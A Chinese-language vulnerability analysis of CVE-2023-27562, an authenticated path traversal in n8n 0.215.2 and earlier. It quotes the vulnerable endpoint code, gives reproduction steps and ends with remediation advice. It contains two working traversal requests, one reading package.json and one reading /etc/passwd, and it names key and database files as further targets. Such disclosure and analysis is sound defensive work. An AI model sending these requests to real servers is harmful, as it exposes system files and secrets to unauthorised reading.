安全研究/和中谈安全/CVE-2023-27562漏洞复现与分析报告
CVE-2023-27562漏洞复现与分析报告
2026-05-06 09:44分享

一、前言

2023年5月9日,Synacktiv披露了n8n版本号≤0.215.2中存在的多个安全问题,其中CVE-2023-27562为已认证路径穿越漏洞。该漏洞包含两个可利用点,攻击者在获取普通用户登录状态后,可利用服务端对用户输入路径拼接的不安全处理,读取服务器上的任意文件。

根据公告内容,该漏洞主要影响0.215.2及更早版本,0.216.1版本已完成修复。本文将从漏洞成因、触发点及复现方式三个维度,对该漏洞进行梳理与分析。

二、版本差异对比

由于官网将0.214.下面的版本也做了更新

公开材料未提供完整补丁差异文件,但从漏洞触发点及修复版本可推测,官方修复思路主要集中在以下两个方向:

  1. 对参与文件路径拼接的用户输入进行严格校验,防止“..”“/”等路径穿越字符逃逸至预期目录之外。
  2. 对二进制数据读取接口中的文件标识符进行约束,避免攻击者将任意路径伪装为合法文件ID。

从漏洞利用链来看,问题分别出现在以下两个位置:

  1. /rest/credential-translation接口直接使用credentialType参数构造JSON翻译文件路径。
  2. /rest/data/:path接口在处理“filesystem:<id>”形式的标识符时,未校验id是否包含路径穿越内容。

三、复现环境

根据Synacktiv公告,可通过官方Docker镜像快速搭建复现环境:

  1. 目标应用:n8n 0.215.2
  2. 部署方式:Docker
  3. 登录条件:需拥有有效普通用户账号
  4. 数据库:SQLite或其他后端数据库均可复现该漏洞

复现需关注以下要点:

  1. 攻击者必须先完成登录并获取有效的n8n-auth Cookie。
  2. 若利用/rest/credential-translation接口,目标文件建议为.json格式文件。
  3. 若利用/rest/data/:path接口,读取文件类型不受限制,例如可读取/etc/passwd。

四、漏洞分析

4.1 漏洞点一:/rest/credential-translation

公告显示,服务端在packages/cli/src/Server.ts中注册了如下接口:

this.app.get(

  `/${this.restEndpoint}/credential-translation`,

  ResponseHelper.send(async (req, res) => {

    const translationPath = getCredentialTranslationPath({

      locale: this.frontendSettings.defaultLocale,

      credentialType: req.query.credentialType,

    });

    try {

      return require(translationPath);

    } catch (error) {

      return null;

    }

  }),

);

路径由getCredentialTranslationPath()函数生成:

export function getCredentialTranslationPath({

  locale,

  credentialType,

}: {

  locale: string;

  credentialType: string;

}): string {

  const credsPath = join(NODES_BASE_DIR, 'dist', 'credentials');

  return join(credsPath, 'translations', locale, `${credentialType}.json`);

}

问题在于:`credentialType` 完全受用户控制,且在传入 `join()` 函数前未经过任何安全过滤。攻击者只需传入 `../../` 之类的路径穿越字符,即可跳出原始目录,访问任意 `.json` 文件。

示例请求如下:

GET /rest/credential-translation?credentialType=../../../../../../../../../usr/local/lib/node_modules/n8n/package HTTP/1.1

Host: target

Cookie: n8n-auth=<有效登录态>

由于服务端最终会读取 `package.json`,因此可直接返回 n8n 安装目录下的包信息。

4.2 漏洞点二:`/rest/data/:path`

第二个问题存在于二进制下载接口:

this.app.get(

  `/${this.restEndpoint}/data/:path`,

  async (req, res): Promise<void> => {

    const identifier = req.params.path;

    const binaryDataManager = BinaryDataManager.getInstance();

    const binaryPath = binaryDataManager.getBinaryPath(identifier);

    res.sendFile(binaryPath);

  },

);

后续 `BinaryDataManager` 会对用户输入进行拆分:

private splitBinaryModeFileId(fileId: string): { mode: string; id: string } {

const [mode, id] = fileId.split(':');

return { mode, id };

}

当 `mode=filesystem` 时,会进入文件系统存储分支:

getBinaryPath(identifier: string): string {

  return path.join(this.storagePath, identifier);

}

此处同样未对 `identifier` 进行校验,导致攻击者可直接提交如下请求:

GET /rest/data/filesystem:../../../../../../../../../etc/passwd HTTP/1.1

Host: target

Cookie: n8n-auth=<有效登录态>

服务端会将 `../../../../.../etc/passwd` 与存储目录拼接,最终读取系统文件并原样返回。

4.3 漏洞成因总结

该漏洞的根本原因是“用户输入直接参与服务端文件路径构造,且缺少路径归一化与目录边界校验”。尽管两个接口的业务场景不同——一个用于读取翻译文件,一个用于下载二进制数据,但本质问题一致。致:

  1. 用户输入可控。
  2. 服务端直接拼接路径。
  3. 未限制访问范围必须落在预期目录内。

4.4 复现步骤

  1. 部署n8n `0.215.2`版本。
  2. 使用普通用户登录系统,获取`n8n-auth` Cookie。
  3. 发送请求至`/rest/credential-translation`接口,验证可读取任意`.json`文件。

  1. 发送请求至`/rest/data/filesystem:<穿越路径>`接口,验证可读取任意文件。

4.5 影响分析

在已通过认证的前提下,攻击者可执行以下操作:

  1. 读取应用配置文件、源码文件及日志文件。
  2. 读取数据库文件、密钥文件或容器内的敏感系统文件。
  3. 为后续提权、认证绕过或横向渗透提供更多上下文信息。

五、总结

`CVE-2023-27562`是一个典型的已认证路径穿越漏洞。尽管该漏洞要求攻击者需先获取登录状态,但由于n8n将用户输入直接用于构造服务端文件路径,导致攻击者能够突破业务原本限定的文件读取范围,最终实现任意文件读取。

从防御角度而言,此类问题的修复重点在于:对用户输入实施白名单约束、对路径进行归一化处理,并在最终读取文件前校验目标路径是否仍处于允许访问的目录内。对于涉及文件系统访问的接口,绝不能仅依赖`path.join()`作为安全防护措施。